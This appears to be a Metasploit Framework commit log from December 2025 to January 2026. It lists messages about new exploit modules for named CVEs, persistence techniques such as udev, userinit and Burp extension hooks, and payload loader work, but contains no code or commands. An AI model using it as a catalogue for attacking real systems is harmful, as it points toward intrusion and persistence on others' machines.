automatic module_metadata_base.json update
2026-01-09 15:24:11 +00:00
msutovsky-r7
472016b753
Land #20796 , moves udev module into persistence category
...
update udev to persistence mixin
2026-01-09 16:14:08 +01:00
dledda-r7
648a3465b2
feat: add common utilities for Windows executable handling
2026-01-09 07:27:35 -05:00
dledda-r7
3a43678808
feat: add x86 Windows executable handling
2026-01-09 07:27:35 -05:00
dledda-r7
62446b9446
feat: implement x64 Windows executable handling
2026-01-09 07:27:34 -05:00
dledda-r7
cdf19a1397
feat: add Windows AArch64 executable handling
2026-01-09 07:27:34 -05:00
dledda-r7
ae4fa52afe
feat: add common utilities for executable handling
2026-01-09 07:27:33 -05:00
dledda-r7
d95c30467e
feat: utils/winodws.rb add Windows executable handling
2026-01-09 07:27:33 -05:00
dledda-r7
1860507850
feat: utils/exe.rb break-up solaris executable handling
2026-01-09 07:27:33 -05:00
dledda-r7
0802ef9adc
feat: utils/exe.rb refactor OSX executable handling
2026-01-09 07:27:32 -05:00
dledda-r7
6598e151b7
feat: utils/exe.rb refactor Linux executable handling
2026-01-09 07:27:32 -05:00
dledda-r7
033a2358f8
feat: utils/exe.rb refactor BSD executable handling
2026-01-09 07:27:31 -05:00
dledda-r7
cc898a7aa7
feat: utils/exe.rb break-up solaris part
2026-01-09 07:27:31 -05:00
dledda-r7
961e7faa33
feat: utils/exe.rb break-up bsd part
2026-01-09 07:27:30 -05:00
dledda-r7
6b50556bfa
feat: utils/exe.rb break-up osx part
2026-01-09 07:27:30 -05:00
dledda-r7
1db6b0cb59
feat: utils/exe.rb break-up linux part
2026-01-09 07:27:30 -05:00
Martin Sutovsky
5e8ec214e9
Fixes cleanup
2026-01-09 11:58:53 +01:00
Martin Sutovsky
e8efe19598
Moves file upload module into separate PR
2026-01-09 11:19:37 +01:00
Martin Sutovsky
fcabe61271
Moves SQLi to RCE module into separate PR
2026-01-09 11:15:47 +01:00
Martin Sutovsky
b3988aabf5
Adds arbitrary file loading
2026-01-09 10:55:13 +01:00
jenkins-metasploit
73bef77cb1
automatic module_metadata_base.json update
2026-01-09 02:17:28 +00:00
jheysel-r7
ae4a5ac986
Merge pull request #20786 from zeroSteiner/feat/lib/mod-merge-target-info
...
Merge target info into the module info
2026-01-08 18:01:14 -08:00
jheysel-r7
b9be6ac259
Merge pull request #20785 from Chocapikk/react2shell-clean
...
Update react2shell module: Add Waku framework support
2026-01-08 17:58:48 -08:00
jenkins-metasploit
0e9b938d4f
automatic module_metadata_base.json update
2026-01-09 00:53:30 +00:00
jheysel-r7
bb98e855e1
Merge pull request #20751 from h00die/sticky_keys
...
update windows sticky keys to persistence mixin
2026-01-08 16:44:04 -08:00
jenkins-metasploit
4e2233827b
automatic module_metadata_base.json update
2026-01-08 21:27:10 +00:00
Spencer McIntyre
da89d98b1e
Merge pull request #20847 from dwelch-r7/fix-ssh-login-print-and-docs
...
Fix extra characters in print and merge docs for ssh_login/ssh_login_pubkey
2026-01-08 16:17:43 -05:00
jenkins-metasploit
cb6b96e17b
automatic module_metadata_base.json update
2026-01-08 20:54:58 +00:00
Spencer McIntyre
f7857f0a4e
Merge pull request #20853 from zeroSteiner/fix/bump-payloads/2.0.239
...
Update metasploit-payloads gem to 2.0.239
2026-01-08 15:45:36 -05:00
Spencer McIntyre
16c1b6fa64
Update payload cached sizes
2026-01-08 15:27:31 -05:00
Spencer McIntyre
86f77beb2e
Update metasploit-payloads gem to 2.0.239
...
Includes changes from:
* rapid7/metasploit-payloads#764
* rapid7/metasploit-payloads#786
2026-01-08 14:58:17 -05:00
JohannesLks
8bd24f4ecf
Fix:n- Use Rex::Stopwatch for time-based checkn- Change CheckCode::Appears to CheckCode::Vulnerable - Add cmd/base64 encoder in Payload hash for Unix Command target - Simplify execute_command by removing manual base64 encoding
2026-01-08 12:38:20 -05:00
Spencer McIntyre
6627686e74
Merge pull request #20850 from dledda-r7/poolparty_injection
...
Poolparty injection Stubs
2026-01-08 12:01:51 -05:00
Valentin Lobstein
ae58da4d4b
Update modules/exploits/multi/http/avideo_notify_ffmpeg_unauth_rce.rb
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2026-01-08 17:03:53 +01:00
Valentin Lobstein
7b1e7d5320
Apply review feedback: move Space limits to targets, use CheckCode::Detected
...
Co-authored-by: bwatters-r7 <bwatters-r7@users.noreply.github.com >
2026-01-08 16:59:17 +01:00
Valentin Lobstein
0583a4c983
Apply review feedback: revert Platform, simplify framework_config, improve Waku detection
...
Co-authored-by: jheysel-r7 <jheysel-r7@users.noreply.github.com >
2026-01-08 16:50:55 +01:00
Martin Sutovsky
de411e717d
More reliable check method
2026-01-08 16:26:17 +01:00
JohannesLks
c859f18557
fix: - Hardcode endpoint path in send_request_cgi - Use idiomatic Ruby single-line conditional - Remove unnecessary return keyword
2026-01-08 15:34:11 +01:00
Dean Welch
2867729808
Fix extra characters in print and merge docs for ssh_login/ssh_login_pubkey
2026-01-08 13:57:22 +00:00
Christophe De La Fuente
a65e70c936
Fix exception handler
2026-01-08 14:23:32 +01:00
Christophe De La Fuente
2223a37102
A few fixes and enhancements for RPC
...
- Add HTTP message in case of error (default to the standard message associated to the status code)
- Add and update a some method documentation
- Fix wrong hash key name in `rpc_vulns`
- Add warning in case the DB is disabled
2026-01-08 14:23:32 +01:00
jenkins-metasploit
8e6be3940e
automatic module_metadata_base.json update
2026-01-08 11:42:27 +00:00
msutovsky-r7
c289ff44b9
Land #20811 , adds module for Prison Management System 1.0 RCE (CVE-2024-48594)
...
Add Prison Management System 1.0 auth RCE (CVE-2024-48594)
2026-01-08 12:33:00 +01:00
Diego Ledda
b40fc5afa8
chore: update author information in poolparty shellcode 32-bit
2026-01-08 12:20:43 +01:00
Martin Sutovsky
a11214466e
Updates module
2026-01-08 11:57:06 +01:00
Martin Sutovsky
2df640efb4
Fixes payload delivery
2026-01-08 11:45:14 +01:00
dledda-r7
c5fd212334
docs: add poolparty 32-bit, update poolparty 64-bit stubs
2026-01-08 05:15:28 -05:00
dledda-r7
4774c03888
docs: removing unused sources
2026-01-08 04:46:05 -05:00
Martin Sutovsky
3d541672cb
Updates payload
2026-01-08 08:07:52 +01:00
jenkins-metasploit
ac263282a6
Bump version of framework to 6.4.107
2026-01-08 03:35:47 +00:00
haicen
1040741b0b
removes unneeded debug code
2026-01-07 14:41:16 -05:00
haicen
f7754e475f
updates references and disclosure date
2026-01-07 14:25:05 -05:00
haicen
fea31d3c19
Merge branch 'master' into haicen_xerte
2026-01-07 13:52:18 -05:00
Xorriath
2030d19438
Update modules/exploits/linux/http/prison_management_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-07 14:45:03 +02:00
Xorriath
2ef1b9fbae
Update modules/exploits/linux/http/prison_management_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-07 14:44:51 +02:00
Diego Ledda
23b86eba7e
Merge pull request #20848 from msutovsky-r7/fix/lib/exe/x64_to_executable_fix
...
Fixes typo in generating X64 PE file
2026-01-07 06:36:30 -05:00
Martin Sutovsky
27fc0bf2e2
Fixes typo in to_executable
2026-01-07 12:12:37 +01:00
jenkins-metasploit
0f3ac31712
automatic module_metadata_base.json update
2026-01-07 11:03:11 +00:00
msutovsky-r7
b39e781500
Land #20700 , adds module for Taiga.io RCE (CVE-2025-62368)
...
Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368)
2026-01-07 11:53:32 +01:00
jenkins-metasploit
d104bdeeb1
automatic module_metadata_base.json update
2026-01-07 00:28:55 +00:00
jheysel-r7
0d21fd4cc9
Merge pull request #20692 from msutovsky-r7/persistence/multi/python-site-specific-config-hook
...
Adds module for python site-specific hook persistence
2026-01-06 16:19:31 -08:00
h00die
428f31fdd3
review for wmi persistence
2026-01-06 16:36:05 -05:00
jenkins-metasploit
8ce13f05fd
automatic module_metadata_base.json update
2026-01-06 19:39:47 +00:00
Spencer McIntyre
f545b5b487
Merge pull request #19799 from dledda-r7/fix/mettle-stageless-payload
...
Fix Linux Stageless Payload to be Shellcodes
2026-01-06 14:30:06 -05:00
dledda-r7
79e2b844dd
fix: fixing meterpreter template for zarch, removing prepends
2026-01-06 14:07:29 -05:00
h00die
bfec7c378b
Update documentation/modules/exploit/windows/persistence/accessibility_features_debugger.md
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-06 14:00:39 -05:00
Martin Sutovsky
d6bffff143
Putting cmd_exec arguments into single argument
2026-01-06 18:38:31 +01:00
jenkins-metasploit
86f13f71de
automatic module_metadata_base.json update
2026-01-06 17:03:57 +00:00
jheysel-r7
f0323e8069
Merge pull request #20744 from ptrstr/patch-2
...
Remove current date constraint from uploaded path in `wp_reflexgallery_file_upload`
2026-01-06 08:54:29 -08:00
dledda-r7
b42fc2eb1e
fix: remove armbe, ppc, ppc64le, ppce500v2 and zarch elf_loaders
2026-01-06 09:53:04 -05:00
dledda-r7
beddb75ce7
fix: fix correct zarch value for meterpreter_reverse.erb
2026-01-06 09:53:03 -05:00
dledda-r7
eaead1d2f3
fix: remove zarch inmemory_loader from stageless meterpreter
2026-01-06 09:53:03 -05:00
dledda-r7
b3b7e5f0fb
rebase: post-rebase
2026-01-06 09:53:02 -05:00
dledda-r7
892ef86515
fix: remove in_memoryloader for ppc, ppc64le, ppce500v2 and armbe from erb file
2026-01-06 09:53:01 -05:00
dledda-r7
6d4cefdff7
fix: fix erb for mettle payload generation
2026-01-06 09:52:28 -05:00
Diego Ledda
a4cb822d13
Update lib/msf/core/payload/linux/aarch64/elf_loader.rb
2026-01-06 09:52:28 -05:00
dledda-r7
ed87ffeb66
fix: rollback itoa and execve instead of execveat
2026-01-06 09:52:28 -05:00
Diego Ledda
91bb23f41d
Update lib/msf/core/payload/linux/aarch64/elf_loader.rb
...
fix aarch64 packing
2026-01-06 09:52:27 -05:00
Martin Sutovsky
8ab2f4450f
Rolling back zarch to exec syscall
2026-01-06 09:52:27 -05:00
Martin Sutovsky
70ad726dd6
Rolling back ppc/ppc64/ppce500v2 to exec syscall
2026-01-06 09:52:26 -05:00
Martin Sutovsky
ad44f7c637
Rolling back arm/arm64 to exec syscall
2026-01-06 09:52:26 -05:00
dledda-r7
17776b6377
fix: fix linux prepends, uniform ppc prepends
2026-01-06 09:52:26 -05:00
dledda-r7
d2a2d1e1c8
fix: removed + character in PayloadLinuxMinKernel
2026-01-06 09:52:20 -05:00
dledda-r7
d5fb4a95ed
fix: minor fix linux elf templates
2026-01-06 09:51:56 -05:00
Diego Ledda
540f16b3b0
Update modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
2026-01-06 09:51:56 -05:00
Diego Ledda
5d8d801454
Update modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
2026-01-06 09:51:56 -05:00
Diego Ledda
43669bb7dc
Update modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
2026-01-06 09:51:55 -05:00
dledda-r7
cab1337d76
fix: update util/exe.rb to support new linux templates, code refactoring
2026-01-06 09:51:55 -05:00
Diego Ledda
d157779b72
Update lib/msf/core/payload/linux/mipsbe/prepends.rb
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2026-01-06 09:51:54 -05:00
Diego Ledda
c02498274e
chore: remove white-space
2026-01-06 09:51:54 -05:00
Diego Ledda
3886401cea
fix: update cached size
2026-01-06 09:51:54 -05:00
Diego Ledda
29678264c0
fix: update cached size
2026-01-06 09:51:53 -05:00
Diego Ledda
9e830c2faf
fix: update cached size
2026-01-06 09:51:53 -05:00
Martin Sutovsky
34318f81b6
Fixing mipsbe loader stub
2026-01-06 09:51:53 -05:00
dledda-r7
187a7d361a
fix: changes based on review comments
2026-01-06 09:51:51 -05:00
Martin Sutovsky
f29d7aeea0
Fixed comments
2026-01-06 09:51:29 -05:00
Martin Sutovsky
f391e1dda2
Adds convetion for each architecture
2026-01-06 09:51:29 -05:00
dledda-r7
58a32627c0
chore: linting meterpreter_loader and prepends
2026-01-06 09:51:28 -05:00
dledda-r7
f7caa72f3f
fix: align assembly comments, add single build instructions
2026-01-06 09:51:28 -05:00
dledda-r7
0fd1bd8047
fix: updating MeterpreterLinuxMinKernel default value, displaying warning on prepends usage
2026-01-06 09:51:28 -05:00
dledda-r7
75765fb0eb
fix: including prepends mixin on linux stageless meterpreter
2026-01-06 09:51:26 -05:00
dledda-r7
cd0645b502
fix: changing MeterpreterLegacyElf to MeterpreterLinuxMinKernel
2026-01-06 09:51:02 -05:00
Martin Sutovsky
98e974dfea
Adds comments for zarch
2026-01-06 09:50:38 -05:00
Martin Sutovsky
d93c9af7b0
Adds comments for ARM, Mips and PPC
2026-01-06 09:50:37 -05:00
Martin Sutovsky
494aeb8061
Updates cached_sizes and rubocop
2026-01-06 09:50:35 -05:00
Martin Sutovsky
351db91769
Adds execveat for MIPS64, PPC64 and Zarch
2026-01-06 09:50:08 -05:00
Martin Sutovsky
34aeb6fc89
Uses execveat syscall to make loader stub smaller
2026-01-06 09:50:07 -05:00
Martin Sutovsky
0b0ab91594
Add build script
2026-01-06 09:50:07 -05:00
Martin Sutovsky
768331d234
Adding comments for PPC
2026-01-06 09:50:06 -05:00
dledda-r7
3a22eae7c8
feat: add elf-legacy option for systems unsupported by in_memory_loader
2026-01-06 09:50:04 -05:00
Martin Sutovsky
eb68c8d93c
Add armbe/armle comments
2026-01-06 09:49:33 -05:00
Martin Sutovsky
85091a4111
Aarch64 comments
2026-01-06 09:49:33 -05:00
Martin Sutovsky
9c2ea9c0dc
Rubocoping AARCH64 payload modules
2026-01-06 09:49:32 -05:00
Martin Sutovsky
16437e7421
Fixed missing payload length for AARCH64
2026-01-06 09:49:32 -05:00
dledda-r7
753b80322f
fix: updated mettle payload generation and cached_size
2026-01-06 09:49:30 -05:00
dledda-r7
0cc080fbe9
fix: updated mettle payload generation and cached_size
2026-01-06 09:49:00 -05:00
dledda-r7
978a2c23a5
fix: improved x86 and x64 shellcodes
2026-01-06 09:48:27 -05:00
Martin Sutovsky
679ebb070b
Code refactor, loader delivery update
2026-01-06 09:48:24 -05:00
Martin Sutovsky
7c77a9cfc7
ARMBe and Zarch stageless payload
2026-01-06 09:47:55 -05:00
dledda-r7
c4cc47c60e
fix: fix exe after merge issue
2026-01-06 09:47:55 -05:00
dledda-r7
3f2be78f9b
feat: add mips64 elf template and meterpreter_loader
2026-01-06 09:47:54 -05:00
Martin Sutovsky
861e1b77d6
PowerPC stageless payload
2026-01-06 09:47:50 -05:00
Martin Sutovsky
ca9706b6ae
PPC progress
2026-01-06 09:47:27 -05:00
Martin Sutovsky
0c2b25e099
PPC64 shellcode added, adding PPC initial work
2026-01-06 09:47:06 -05:00
Martin Sutovsky
764c0c449f
PPC64le init
2026-01-06 09:46:33 -05:00
dledda-r7
71d2eb2046
fix: move mipsbe and mipsle meterpreter_loader into separate mixin
2026-01-06 09:46:08 -05:00
dledda-r7
6d750fef07
fix: move x64 meterpreter_loader into separate mixin
2026-01-06 09:46:07 -05:00
dledda-r7
38cd623b63
fix: move meterpreter_loader into separate mixin
2026-01-06 09:46:07 -05:00
dledda-r7
afb93ec158
feat(payload): linux/mips in_memory_loader for stageless meterpreter
2026-01-06 09:46:06 -05:00
dledda-r7
dba8ddbd6f
feat(payload): linux/mipsel in_memory_loader for stageless meterpreter
2026-01-06 09:46:06 -05:00
Martin Sutovsky
fd0427e55f
Adding itoa function for ARM64 and ARMbe
2026-01-06 09:46:06 -05:00
Martin Sutovsky
afba87eb4f
Adding itoa function for ARM64 and ARMbe
2026-01-06 09:46:05 -05:00
Martin Sutovsky
4c8e4285cf
Adding itoa for ARMle stageless payload
2026-01-06 09:46:05 -05:00
Martin Sutovsky
c9cd7831ea
Armbe draft and ARM64 functional payload for memfd_create
2026-01-06 09:46:04 -05:00
Martin Sutovsky
bc28e3a712
Shellcode for memfd_create for ARM
2026-01-06 09:46:04 -05:00
dledda-r7
a5bae331bc
feat(payload): linux/x64 in_memory_loader for stageless meterpreter
2026-01-06 09:46:04 -05:00
dledda-r7
750bbdf9d7
feat(payload): linux/x86 in_memory_loader itoa improvement
2026-01-06 09:46:03 -05:00
dledda-r7
14f62457b3
feat(payload): linux/x86 in_memory_loader for stageless meterpreter
2026-01-06 09:46:03 -05:00
dledda-r7
b9adfb740e
fix: removing unnecessary elf parsing in linux/x86/meterpreter
2026-01-06 09:46:02 -05:00
ptrstr
0e28807458
Fix formatting
2026-01-06 09:44:22 -05:00
Xorriath
a676b05928
Update modules/exploits/linux/http/prison_management_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-06 12:35:32 +02:00
Xorriath
236d94ee54
Update modules/exploits/linux/http/prison_management_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-06 12:35:17 +02:00
Xorriath
b35d74b305
Update modules/exploits/linux/http/prison_management_rce.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-06 12:35:01 +02:00
cgranleese-r7
61004db2be
Merge pull request #20370 from msutovsky-r7/fix/smb_login_crash
...
Fixes smb_login crash
2026-01-06 10:34:23 +00:00
kali
be9b2c9491
Add documentation for prison_management_rce
2026-01-06 12:33:49 +02:00
jenkins-metasploit
7aebd446fb
automatic module_metadata_base.json update
2026-01-06 09:49:35 +00:00
cgranleese-r7
3bf76a3f9f
Merge pull request #20815 from h00die/fix_panda_refs
...
fix panda local privesc refs
2026-01-06 09:40:02 +00:00
Martin Sutovsky
13e93abfdf
Addressing comments
2026-01-06 08:31:46 +01:00
h00die
2f4db3bd5f
review for wmi persistence
2026-01-05 17:06:17 -05:00
h00die
05345e96f2
temp
2026-01-05 15:44:39 -05:00
6a6f656c
acc035cabd
Merge pull request #1 from h00die/upstream/pr/20844
...
Add docs and tidy to userinit persistence
2026-01-05 07:26:04 -05:00
jenkins-metasploit
bd870b4caf
automatic module_metadata_base.json update
2026-01-05 11:48:09 +00:00
Diego Ledda
385c4f9896
Merge pull request #20733 from bcoles/linux-riscv-tcp-bind-shell
...
Add Linux RISC-V 32-bit/64-bit TCP bind shell payloads
2026-01-05 06:38:23 -05:00
DataExplorerX
ae8ab28eed
Fix msftidy_docs warnings in chain_reply documentation
2026-01-05 16:01:16 +05:30
jenkins-metasploit
141c823e2c
automatic module_metadata_base.json update
2026-01-05 10:25:55 +00:00
msutovsky-r7
ee992c6f5c
Land #20831 , adds link to Framework Github issues
...
Fix broken links in CONTRIBUTING.md code-free contributions section
2026-01-05 11:07:09 +01:00
Diego Ledda
0dee8a82b8
Merge pull request #20734 from bcoles/linux-riscv-command-payload-adapters
...
Add Linux RISC-V command payload adapters
2026-01-05 05:06:21 -05:00
h00die
37cd1f27b0
move burp files and modernize with persistence mixin
2026-01-04 08:21:06 -05:00
Martin Sutovsky
b8890b6396
Adds automatic execution
2026-01-04 08:06:14 -05:00
Martin Sutovsky
413e091db6
Adds headless execution
2026-01-04 08:06:14 -05:00
Martin Sutovsky
86152f9dd1
Fixing payload
2026-01-04 08:06:14 -05:00
h00die
839a8f2ebc
burp extension review
2026-01-04 08:06:14 -05:00
h00die
aa9a0f76da
burp extension review
2026-01-04 08:06:14 -05:00
h00die
1a59ed08fe
add docs for burp extension persistence
2026-01-04 08:06:14 -05:00
h00die
c272d8a0aa
burp extension persistence
2026-01-04 08:06:14 -05:00
h00die
30e8ede308
windows and linux build portions working, debugging java
2026-01-04 08:06:14 -05:00
h00die
190fab9b0a
windows and linux build portions working
2026-01-04 08:06:14 -05:00
h00die
2213da29bb
linux working, windows payload issues on compile and zip error on pre-built
2026-01-04 08:06:14 -05:00
h00die
8752110581
non-compile working just needs testing
2026-01-04 08:06:14 -05:00
h00die
24d1b43d2e
more trial and error
2026-01-04 08:06:14 -05:00
h00die
349fd82327
burp extension persistence
2026-01-04 08:06:14 -05:00
h00die
773f2c4b8b
burp extension persistence
2026-01-04 08:06:14 -05:00
h00die
d7d7a318ed
Add docs and tidy to userinit persistence
2026-01-03 16:27:54 -05:00
root
d2c192e9bf
windows persistence userinit v6
2026-01-03 15:37:44 -05:00
root
cb7dd50731
windows persistence userinit v5
2026-01-03 15:21:20 -05:00
root
f6fdbc4fbd
windows persistence userinit v4
2026-01-03 14:43:50 -05:00
root
beff06b9a4
windows persistence userinit v3
2026-01-03 11:09:14 -05:00
h00die
c485d9a822
active setup persistence
2026-01-03 10:39:45 -05:00
6a6f656c
4a3a26e9d9
windows persistence userinit v2
2026-01-02 09:33:21 -05:00
6a6f656c
9d120c1eeb
windows persistence userinit
2026-01-02 07:21:05 -05:00
jenkins-metasploit
7eccbcdc6c
Bump version of framework to 6.4.106
2026-01-01 03:35:39 +00:00
kukly
7772bd87f0
Fix teamviewer_password module errors
2025-12-30 16:07:23 +01:00
jenkins-metasploit
db8028c219
automatic module_metadata_base.json update
2025-12-30 13:59:48 +00:00
Diego Ledda
acc206b2dc
Merge pull request #20833 from xaitax/CVE-2025-14847_Mongobleed
...
Add MongoDB memory disclosure module (CVE-2025-14847)
2025-12-30 08:49:30 -05:00
jenkins-metasploit
259180e73d
automatic module_metadata_base.json update
2025-12-30 13:48:29 +00:00
Diego Ledda
cd83a441b9
Merge pull request #20767 from Chocapikk/geoserver
...
Add GeoServer WMS GetMap XXE file read module (CVE-2025-58360)
2025-12-30 08:39:00 -05:00
Alex
3b3d4f238e
Update cve_2025_14847_mongobleed.rb
2025-12-30 14:34:57 +01:00
Alex Hagenah
ece7649af5
Update modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb
...
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com >
2025-12-30 14:25:22 +01:00
Alex
70798665aa
Update cve_2025_14847_mongobleed.rb
2025-12-30 13:49:57 +01:00
Alex
44b2adafa7
Add MongoDB memory disclosure module (CVE-2025-14847)
2025-12-30 13:04:25 +01:00
DataExplorerX
102ef677b1
Add documentation for linux/samba/chain_reply module (CVE-2004-0883)
2025-12-30 16:17:51 +05:30
DataExplorerX
1e769ad5aa
Fix broken links in CONTRIBUTING.md code-free contributions section
2025-12-30 15:34:03 +05:30
Rudraditya Thakur
4fbc647903
fixed: merge conflict
2025-12-28 23:41:36 +05:30
Rudraditya Thakur
8342493b3b
Merge branch 'rapid7:master' into feature/kerberos-clock-skew
2025-12-28 23:16:27 +05:30
h00die
0a5cccf5e6
wsl startup folder persistence
2025-12-28 11:17:28 -05:00
h00die
e97c23ca16
wsl startup folder persistence
2025-12-28 11:15:04 -05:00
randomstr1ng
911f8e4f6e
fix !gsub output error
2025-12-28 09:57:39 +01:00
h00die
2b85112a36
fix panda local privesc refs
2025-12-27 09:09:19 -05:00
randomstr1ng
ba00ec5904
Merge branch 'rapid7:master' into master
2025-12-26 19:07:40 +01:00
Lukas Johannes Möller
982f5e0e28
control_web_panel_api_cmd_exec.rb aktualisieren
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-26 16:04:42 +01:00
Lukas Johannes Möller
0bfb77d74f
control_web_panel_api_cmd_exec.rb aktualisieren
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-12-26 16:04:12 +01:00
JohannesLks
07e2d72ffe
source address kernel decision
2025-12-26 09:25:20 -05:00
JohannesLks
b6a8ac87b1
Improvements from PR
2025-12-26 09:20:10 -05:00
kali
2448429502
Add Prison Management System 1.0 auth RCE (CVE-2024-48594)
2025-12-26 08:08:49 +02:00
JohannesLks
78052b4ac1
multiple Improvements
2025-12-25 11:47:23 -05:00
JohannesLks
2cadcfe6ab
add CVE-2025-68613
2025-12-25 11:21:28 -05:00
jenkins-metasploit
079d76da69
Bump version of framework to 6.4.105
2025-12-25 03:35:48 +00:00
Vaibhav Gupta
3fc047db5d
fix: Allow Acunetix vulnerabilities to be imported without complete web_page data ( #17932 )
2025-12-24 22:47:37 +05:30
JohannesLks
5329e1472e
fix: PR and Lint
2025-12-24 06:39:13 -05:00
JohannesLks
455275d087
add module for CVE-2025-67888
2025-12-23 19:21:34 -05:00
Jack Heysel
3c57c71baf
Windows support
2025-12-22 19:27:37 -08:00
Spencer McIntyre
d4eba39b1d
Merge pull request #20800 from adfoster-r7/add-autocheck-vulnerability-logic
...
Add autocheck report_vuln logic
2025-12-22 15:58:18 -05:00
jenkins-metasploit
f743b42353
automatic module_metadata_base.json update
2025-12-22 20:06:27 +00:00
Spencer McIntyre
fba6040445
Merge pull request #20781 from jbx81-1337/fix/remove-ppc
...
remove ppc meterpreter
2025-12-22 14:56:48 -05:00
Spencer McIntyre
68965f667e
Remove the ppc64le adapters
...
This is dead code now. We don't have any PPC64LE payloads.
2025-12-22 14:27:09 -05:00
adfoster-r7
34ceae4e2c
Add autocheck report_vuln logic
2025-12-22 13:09:32 +00:00
JohannesLks
0ddb9fe027
Improvements from PR
2025-12-22 05:34:40 -05:00
Jack Heysel
a44fc954a2
Cacti Graph Template authenticated RCE
2025-12-22 00:53:13 -08:00
JohannesLks
cf0d1d04dc
lint
2025-12-21 17:30:43 -05:00
JohannesLks
5c15623f1f
add RHOST again
2025-12-21 17:27:01 -05:00
JohannesLks
05582a3344
lint
2025-12-21 16:55:22 -05:00
JohannesLks
1be2858a7a
Add Module and Documentation for CVE-2025-14558
2025-12-21 16:41:14 -05:00
h00die
3ea866c41d
udev persistence
2025-12-21 07:50:48 -05:00
jenkins-metasploit
1904145225
automatic module_metadata_base.json update
2025-12-19 23:51:36 +00:00
Brendan
3015c9f962
Merge pull request #20792 from sfewer-r7/hpe_oneview_rce
...
Add unauth RCE exploit module for HPE OneView (CVE-2025-37164)
2025-12-19 17:41:51 -06:00
jenkins-metasploit
cd31acae15
automatic module_metadata_base.json update
2025-12-19 22:42:56 +00:00
Brendan
b12ebc95c0
Merge pull request #20754 from h00die/assist_tech
...
assistive technology persistence
2025-12-19 16:33:21 -06:00
h00die
eebfdc5a2a
ssh_key persistence on windows now working
2025-12-19 17:26:17 -05:00
Valentin Lobstein
573a74dfa0
Add view/info.php endpoint to system root path leak (CVE-2025-34433)
2025-12-19 22:35:09 +01:00
Valentin Lobstein
d8177fe9a1
DRY extract_system_root_from_cache
2025-12-19 22:05:29 +01:00
Valentin Lobstein
61b253a68d
Refactor to cache endpoint responses and avoid duplicate requests
2025-12-19 22:03:07 +01:00
Valentin Lobstein
99b9e05179
Add comment about timezone fetching for uniqid calculations
2025-12-19 21:58:08 +01:00
Valentin Lobstein
b1e8088498
Add comment about hashId requiring public videos
2025-12-19 21:56:53 +01:00
Valentin Lobstein
9cb8f34371
Add comment about default category deletion breaking exploit
2025-12-19 21:56:16 +01:00
Valentin Lobstein
e4a6a9a71c
Add comment about v20 path leak fix and fallback
2025-12-19 21:54:35 +01:00
Valentin Lobstein
c5ea4bb87b
Add comment about videosAndroid.json.php slow loading
2025-12-19 21:53:01 +01:00
Valentin Lobstein
8df7347791
Add AVideo notify.ffmpeg.json.php unauthenticated RCE exploit (CVE-2025-34433)
2025-12-19 21:51:41 +01:00
h00die
5ac586a788
Update modules/exploits/windows/persistence/assistive_technology.rb
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2025-12-19 14:52:34 -05:00
sfewer-r7
d40a35acdb
the version logic changes, update the docs
2025-12-19 15:48:07 +00:00
sfewer-r7
0c947d05ab
add in the AKB analysis
2025-12-19 15:38:43 +00:00
sfewer-r7
5c6c8a3956
better check result given we have the version string
2025-12-19 15:38:27 +00:00
sfewer-r7
a4dba96712
add in the HPE OneView exploit
2025-12-19 15:30:53 +00:00
Martin Sutovsky
990c6a7a9f
Adds check for presence of directory and sufficient rights
2025-12-19 14:31:05 +01:00
jenkins-metasploit
2bb30ba7a3
automatic module_metadata_base.json update
2025-12-18 22:13:06 +00:00
Brendan
6c4a61fa42
Merge pull request #20761 from Chocapikk/acf-extended-rce
...
Add WordPress ACF Extended unauthenticated RCE exploit (CVE-2025-13486)
2025-12-18 16:03:06 -06:00
h00die
d15d4ca5dc
.exe guard clause for assistive_tech persistence
2025-12-18 16:17:50 -05:00
h00die
d150e8f633
sshkey persistence documentation improvements
2025-12-18 16:11:02 -05:00
Valentin Lobstein
080f74f862
Update Web-Check documentation with docker-compose.yml setup instructions
2025-12-18 19:19:17 +01:00
Valentin Lobstein
5178cdee42
Update Web-Check documentation with git clone command
2025-12-18 18:56:18 +01:00
Valentin Lobstein
13f102eb5b
Add Web-Check screenshot API command injection RCE exploit (CVE-2025-32778)
2025-12-18 18:51:12 +01:00
vognik
cd8f1593e4
fix version check
2025-12-18 09:12:36 -08:00
vognik
9fbf4e1d67
replace vprint_status with print_status in login.rb module
2025-12-18 08:59:55 -08:00
vognik
8fdb4ab43a
add delay to sudobash drop file
2025-12-18 08:49:24 -08:00
vognik
51bfa8aab8
add use_inline_splunk_query option
2025-12-18 08:22:49 -08:00
Spencer McIntyre
76b7c82092
Fix a CI failure
2025-12-18 10:33:35 -05:00
Spencer McIntyre
602adeb4c5
Mass rubocop changes
2025-12-18 10:08:31 -05:00
jenkins-metasploit
019ac75f1b
Bump version of framework to 6.4.104
2025-12-18 03:35:46 +00:00
jenkins-metasploit
ecfdec95de
automatic module_metadata_base.json update
2025-12-17 23:32:14 +00:00
adfoster-r7
4f13416117
Merge pull request #20787 from zeroSteiner/fix/payload-cache-sizes/2025-12-17
...
Update nodejs cache sizes
2025-12-17 23:22:26 +00:00
Valentin Lobstein
d9498c35f9
Fix react2shell module: sync encoders and payload config with master version (had bad copy)
2025-12-17 23:52:30 +01:00
adfoster-r7
3b8c3d3007
Merge pull request #20771 from zeroSteiner/feat/lib/preferred-payloads
...
Update the payload preferences
2025-12-17 22:46:05 +00:00
Spencer McIntyre
05479c022a
Update nodejs cache sizes
2025-12-17 17:33:51 -05:00
Spencer McIntyre
d4b196b309
